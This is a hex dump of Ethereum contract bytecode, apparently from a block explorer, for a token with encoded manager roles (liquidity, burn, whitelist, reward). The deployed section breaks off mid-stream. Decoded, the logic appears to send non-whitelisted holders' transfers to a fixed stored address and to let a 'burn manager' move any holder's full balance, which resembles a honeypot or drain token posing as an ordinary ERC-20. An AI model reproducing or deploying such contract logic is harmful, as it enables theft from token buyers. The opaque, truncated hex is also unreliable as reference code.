ffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004b4575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004ab919062000dd9565b60405180910390fd5b620004c75f83836200056260201b60201c565b5050565b620004db6200078660201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200054e575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000545919062000dd9565b60405180910390fd5b6200055f816200037660201b60201c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620005b6578060025f828254620005a9919062001090565b9250508190555062000687565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000642578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200063993929190620010db565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006d0578060025f82825403925050819055506200071a565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000779919062001116565b60405180910390a3505050565b620007966200082860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007bc6200082f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200082657620007e86200082860201b60201c565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016200081d919062000dd9565b60405180910390fd5b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620008938262000868565b9050919050565b620008a58162000887565b8114620008b0575f80fd5b50565b5f81519050620008c3816200089a565b92915050565b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200091582620008cd565b810181811067ffffffffffffffff82111715620009375762000936620008dd565b5b80604052505050565b5f6200094b62000857565b90506200095982826200090a565b919050565b5f67ffffffffffffffff8211156200097b576200097a620008dd565b5b602082029050602081019050919050565b5f80fd5b5f620009a6620009a0846200095e565b62000940565b90508083825260208201905060208402830185811115620009cc57620009cb6200098c565b5b835b81811015620009f95780620009e48882620008b3565b845260208401935050602081019050620009ce565b5050509392505050565b5f82601f83011262000a1a5762000a19620008c9565b5b815162000a2c84826020860162000990565b91505092915050565b5f805f6060848603121562000a4f5762000a4e62000860565b5b5f62000a5e86828701620008b3565b935050602062000a7186828701620008b3565b925050604084015167ffffffffffffffff81111562000a955762000a9462000864565b5b62000aa38682870162000a03565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000afc57607f821691505b60208210810362000b125762000b1162000ab7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000b767fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b39565b62000b82868362000b39565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000bcc62000bc662000bc08462000b9a565b62000ba3565b62000b9a565b9050919050565b5f819050919050565b62000be78362000bac565b62000bff62000bf68262000bd3565b84845462000b45565b825550505050565b5f90565b62000c1562000c07565b62000c2281848462000bdc565b505050565b5b8181101562000c495762000c3d5f8262000c0b565b60018101905062000c28565b5050565b601f82111562000c985762000c628162000b18565b62000c6d8462000b2a565b8101602085101562000c7d578190505b62000c9562000c8c8562000b2a565b83018262000c27565b50505b505050565b5f82821c905092915050565b5f62000cba5f198460080262000c9d565b1980831691505092915050565b5f62000cd4838362000ca9565b9150826002028217905092915050565b62000cef8262000aad565b67ffffffffffffffff81111562000d0b5762000d0a620008dd565b5b62000d17825462000ae4565b62000d2482828562000c4d565b5f60209050601f83116001811462000d5a575f841562000d45578287015190505b62000d51858262000cc7565b86555062000dc0565b601f19841662000d6a8662000b18565b5f5b8281101562000d935784890151825560018201915060208501945060208101905062000d6c565b8683101562000db3578489015162000daf601f89168262000ca9565b8355505b6001600288020188555050505b505050505050565b62000dd38162000887565b82525050565b5f60208201905062000dee5f83018462000dc8565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000e7e5780860481111562000e565762000e5562000df4565b5b600185161562000e665780820291505b808102905062000e768562000e21565b945062000e36565b94509492505050565b5f8262000e98576001905062000f6a565b8162000ea7575f905062000f6a565b816001811462000ec0576002811462000ecb5762000f01565b600191505062000f6a565b60ff84111562000ee05762000edf62000df4565b5b8360020a91508482111562000efa5762000ef962000df4565b5b5062000f6a565b5060208310610133831016604e8410600b841016171562000f3b5782820a90508381111562000f355762000f3462000df4565b5b62000f6a565b62000f4a848484600162000e2d565b9250905081840481111562000f645762000f6362000df4565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000f898262000b9a565b915062000f968362000f71565b925062000fc57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e87565b905092915050565b5f62000fd98262000b9a565b915062000fe68362000b9a565b925082820262000ff68162000b9a565b9150828204841483151762001010576200100f62000df4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f620010508262000b9a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362001085576200108462000df4565b5b600182019050919050565b5f6200109c8262000b9a565b9150620010a98362000b9a565b9250828201905080821115620010c457620010c362000df4565b5b92915050565b620010d58162000b9a565b82525050565b5f606082019050620010f05f83018662000dc8565b620010ff6020830185620010ca565b6200110e6040830184620010ca565b949350505050565b5f6020820190506200112b5f830184620010ca565b92915050565b61210a806200113f5f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063665a11ca116100ab578063a9059cbb1161006f578063a9059cbb146102e1578063b933ceac14610311578063dd62ed3e1461032d578063f2fde38b1461035d578063ff0b8466146103795761011f565b8063665a11ca1461024d57806370a082311461026b578063715018a61461029b5780638da5cb5b146102a557806395d89b41146102c35761011f565b806323b872dd116100f257806323b872dd146101ab57806327fc84a3146101db578063313ce567146101f7578063415665851461021557806347dd966f146102315761011f565b8063018770201461012357806306fdde031461013f578063095ea7b31461015d57806318160ddd1461018d575b5f80fd5b61013d6004803603810190610138919061185a565b610397565b005b6101476104a6565b604051610154919061190f565b60405180910390f35b61017760048036038101906101729190611962565b610536565b60405161018491906119ba565b60405180910390f35b610195610558565b6040516101a291906119e2565b60405180910390f35b6101c560048036038101906101c091906119fb565b610561565b6040516101d291906119ba565b60405180910390f35b6101f560048036038101906101f09190611a4b565b610680565b005b6101ff6107cc565b60405161020c9190611aa4565b60405180910390f35b61022f600480360381019061022a919061185a565b6107d4565b005b61024b60048036038101906102469190611ae7565b610982565b005b610255610c31565b6040516102629190611b6d565b60405180910390f35b6102856004803603810190610280919061185a565b610c56565b60405161029291906119e2565b60405180910390f35b6102a3610c9b565b005b6102ad610cae565b6040516102ba9190611b6d565b60405180910390f35b6102cb610cd6565b6040516102d8919061190f565b60405180910390f35b6102fb60048036038101906102f69190611962565b610d66565b60405161030891906119ba565b60405180910390f35b61032b60048036038101906103269190611962565b610e90565b005b61034760048036038101906103429190611a4b565b610f27565b60405161035491906119e2565b60405180910390f35b6103776004803603810190610372919061185a565b610fa9565b005b61038161102d565b60405161038e9190611b6d565b60405180910390f35b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041790611bf6565b60405180910390fd5b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fe57f71636571365571c0eaeaeb54e1d9e0065804f056a57a2a29448524f7d18a60405160405180910390a250565b6060600380546104b590611c41565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611c41565b801561052c5780601f106105035761010080835404028352916020019161052c565b820191905f5260205f20905b81548152906001019060200180831161050f57829003601f168201915b5050505050905090565b5f80610540611052565b905061054d818585611059565b600191505092915050565b5f600254905090565b5f600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661066b576105dc84600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461106b565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff67358460405161065a91906119e2565b60405180910390a360019050610679565b61067684848461115b565b90505b9392505050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070090611cbb565b60405180910390fd5b5f61071383610c56565b90505f8111610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611d23565b60405180910390fd5b61076283838361106b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d836040516107bf91906119e2565b60405180910390a3505050565b5f6012905090565b60095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490611db1565b60405180910390fd5b600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90611e19565b60405180910390fd5b6001600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f4f783c179409b4127238bc9c990bc99b9a651666a0d20b51d6c42849eb88466d60405160405180910390a250565b61098a611189565b8315610a3257600160065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610a2990611e81565b60405180910390a25b8215610ada57600160075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610ad190611ee9565b60405180910390a25b8115610b8257600160085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610b7990611f51565b60405180910390a25b8015610c2a57600160095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610c2190611fb9565b60405180910390a25b5050505050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ca3611189565b610cac5f611210565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ce590611c41565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1190611c41565b8015610d5c5780601f10610d3357610100808354040283529160200191610d5c565b820191905f5260205f20905b815481529060010190602001808311610d3f57829003601f168201915b5050505050905090565b5f80610d70611052565b9050600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610e7c57610dec81600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561106b565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff673585604051610e6a91906119e2565b60405180910390a36001915050610e8a565b610e8684846112d3565b9150505b92915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090612021565b60405180910390fd5b610f2382826112f5565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610fb1611189565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611021575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016110189190611b6d565b60405180910390fd5b61102a81611210565b50565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b6110668383836001611303565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110db575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016110d29190611b6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361114b575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016111429190611b6d565b60405180910390fd5b6111568383836114d2565b505050565b5f80611165611052565b90506111728582856116eb565b61117d85858561106b565b60019150509392505050565b611191611052565b73ffffffffffffffffffffffffffffffffffffffff166111af610cae565b73ffffffffffffffffffffffffffffffffffffffff161461120e576111d2611052565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016112059190611b6d565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f806112dd611052565b90506112ea81858561106b565b600191505092915050565b6112ff828261177d565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611373575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161136a9190611b6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e3575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016113da9190611b6d565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156114cc578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516114c391906119e2565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611522578060025f828254611516919061206c565b925050819055506115f0565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156115ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016115a29392919061209f565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611637578060025f8282540392505081905550611681565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116de91906119e2565b60405180910390a3505050565b5f6116f68484610f27565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117775781811015611768578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161175f9392919061209f565b60405180910390fd5b61177684848484035f611303565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117ed575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117e49190611b6d565b60405180910390fd5b6117f85f83836114d2565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61182982611800565b9050919050565b6118398161181f565b8114611843575f80fd5b50565b5f8135905061185481611830565b92915050565b5f6020828403121561186f5761186e6117fc565b5b5f61187c84828501611846565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118bc5780820151818401526020810190506118a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118e182611885565b6118eb818561188f565b93506118fb81856020860161189f565b611904816118c7565b840191505092915050565b5f6020820190508181035f83015261192781846118d7565b905092915050565b5f819050919050565b6119418161192f565b811461194b575f80fd5b50565b5f8135905061195c81611938565b92915050565b5f8060408385031215611978576119776117fc565b5b5f61198585828601611846565b92505060206119968582860161194e565b9150509250929050565b5f8115159050919050565b6119b4816119a0565b82525050565b5f6020820190506119cd5f8301846119ab565b92915050565b6119dc8161192f565b82525050565b5f6020820190506119f55f8301846119d3565b92915050565b5f805f60608486031215611a1257611a116117fc565b5b5f611a1f86828701611846565b9350506020611a3086828701611846565b9250506040611a418682870161194e565b9150509250925092565b5f8060408385031215611a6157611a606117fc565b5b5f611a6e85828601611846565b9250506020611a7f85828601611846565b9150509250929050565b5f60ff82169050919050565b611a9e81611a89565b82525050565b5f602082019050611ab75f830184611a95565b92915050565b611ac6816119a0565b8114611ad0575f80fd5b50565b5f81359050611ae181611abd565b92915050565b5f805f805f60a08688031215611b0057611aff6117fc565b5b5f611b0d88828901611846565b9550506020611b1e88828901611ad3565b9450506040611b2f88828901611ad3565b9350506060611b4088828901611ad3565b9250506080611b5188828901611ad3565b9150509295509295909350565b611b678161181f565b82525050565b5f602082019050611b805f830184611b5e565b92915050565b7f43616c6c6572206973206e6f742061206c6971756964697479206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f611be060218361188f565b9150611beb82611b86565b604082019050919050565b5f6020820190508181035f830152611c0d81611bd4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611c5857607f821691505b602082108103611c6b57611c6a611c14565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611ca5601c8361188f565b9150611cb082611c71565b602082019050919050565b5f6020820190508181035f830152611cd281611c99565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611d0d60158361188f565b9150611d1882611cd9565b602082019050919050565b5f6020820190508181035f830152611d3a81611d01565b9050919050565b7f43616c6c6572206973206e6f7420612077686974656c697374206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d9b60218361188f565b9150611da682611d41565b604082019050919050565b5f6020820190508181035f830152611dc881611d8f565b9050919050565b7f4164647265737320697320616c72656164792077686974656c697374656400005f82015250565b5f611e03601e8361188f565b9150611e0e82611dcf565b602082019050919050565b5f6020820190508181035f830152611e3081611df7565b9050919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f611e6b600d8361188f565b9150611e7682611e37565b602082019050919050565b5f6020820190508181035f830152611e9881611e5f565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611ed3600b8361188f565b9150611ede82611e9f565b602082019050919050565b5f6020820190508181035f830152611f0081611ec7565b9050919050565b7f4c69717569646974794d616e61676572000000000000000000000000000000005f82015250565b5f611f3b60108361188f565b9150611f4682611f07565b602082019050919050565b5f6020820190508181035f830152611f6881611f2f565b9050919050565b7f57686974656c6973744d616e61676572000000000000000000000000000000005f82015250565b5f611fa360108361188f565b9150611fae82611f6f565b602082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f61200b601e8361188f565b915061201682611fd7565b602082019050919050565b5f6020820190508181035f83015261203881611fff565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120768261192f565b91506120818361192f565b92508282019050808211156120995761209861203f565b5b92915050565b5f6060820190506120b25f830186611b5e565b6120bf60208301856119d3565b6120cc60408301846119d3565b94935050505056fea26469706673582212203efffd87eef6b33a3878cfeb223bec1e692a364185ac5811655421140ddbb4ef64736f6c6343000814003300000000000000000000000074b220d3cf9644047c3eaca64894712023dec9b5000000000000000000000000000000000000000000000000000000000000dead00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a09aad3b423a8d51b2450ff391ad6040dc1e8efb000000000000000000000000a190a3fed56551d6c89aeeadcf4c828eff0b219f

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063665a11ca116100ab578063a9059cbb1161006f578063a9059cbb146102e1578063b933ceac14610311578063dd62ed3e1461032d578063f2fde38b1461035d578063ff0b8466146103795761011f565b8063665a11ca1461024d57806370a082311461026b578063715018a61461029b5780638da5cb5b146102a557806395d89b41146102c35761011f565b806323b872dd116100f257806323b872dd146101ab57806327fc84a3146101db578063313ce567146101f7578063415665851461021557806347dd966f146102315761011f565b8063018770201461012357806306fdde031461013f578063095ea7b31461015d57806318160ddd1461018d575b5f80fd5b61013d6004803603810190610138919061185a565b610397565b005b6101476104a6565b604051610154919061190f565b60405180910390f35b61017760048036038101906101729190611962565b610536565b60405161018491906119ba565b60405180910390f35b610195610558565b6040516101a291906119e2565b60405180910390f35b6101c560048036038101906101c091906119fb565b610561565b6040516101d291906119ba565b60405180910390f35b6101f560048036038101906101f09190611a4b565b610680565b005b6101ff6107cc565b60405161020c9190611aa4565b60405180910390f35b61022f600480360381019061022a919061185a565b6107d4565b005b61024b60048036038101906102469190611ae7565b610982565b005b610255610c31565b6040516102629190611b6d565b60405180910390f35b6102856004803603810190610280919061185a565b610c56565b60405161029291906119e2565b60405180910390f35b6102a3610c9b565b005b6102ad610cae565b6040516102ba9190611b6d565b60405180910390f35b6102cb610cd6565b6040516102d8919061190f565b60405180910390f35b6102fb60048036038101906102f69190611962565b610d66565b60405161030891906119ba565b60405180910390f35b61032b60048036038101906103269190611962565b610e90565b005b61034760048036038101906103429190611a4b565b610f27565b60405161035491906119e2565b60405180910390f35b6103776004803603810190610372919061185a565b610fa9565b005b61038161102d565b60405161038e9190611b6d565b60405180910390f35b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041790611bf6565b60405180910390fd5b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fe57f71636571365571c0eaeaeb54e1d9e0065804f056a57a2a29448524f7d18a60405160405180910390a250565b6060600380546104b590611c41565b80601f01602080910402602001604051908101604052809291908181526020018280546104e190611c41565b801561052c5780601f106105035761010080835404028352916020019161052c565b820191905f5260205f20905b81548152906001019060200180831161050f57829003601f168201915b5050505050905090565b5f80610540611052565b905061054d818585611059565b600191505092915050565b5f600254905090565b5f600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661066b576105dc84600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461106b565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff67358460405161065a91906119e2565b60405180910390a360019050610679565b61067684848461115b565b90505b9392505050565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070090611cbb565b60405180910390fd5b5f61071383610c56565b90505f8111610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611d23565b60405180910390fd5b61076283838361106b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d836040516107bf91906119e2565b60405180910390a3505050565b5f6012905090565b60095f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490611db1565b60405180910390fd5b600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90611e19565b60405180910390fd5b6001600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f4f783c179409b4127238bc9c990bc99b9a651666a0d20b51d6c42849eb88466d60405160405180910390a250565b61098a611189565b8315610a3257600160065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610a2990611e81565b60405180910390a25b8215610ada57600160075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610ad190611ee9565b60405180910390a25b8115610b8257600160085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610b7990611f51565b60405180910390a25b8015610c2a57600160095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610c2190611fb9565b60405180910390a25b5050505050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ca3611189565b610cac5f611210565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ce590611c41565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1190611c41565b8015610d5c5780601f10610d3357610100808354040283529160200191610d5c565b820191905f5260205f20905b815481529060010190602001808311610d3f57829003601f168201915b5050505050905090565b5f80610d70611052565b9050600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610e7c57610dec81600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561106b565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff673585604051610e6a91906119e2565b60405180910390a36001915050610e8a565b610e8684846112d3565b9150505b92915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090612021565b60405180910390fd5b610f2382826112f5565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b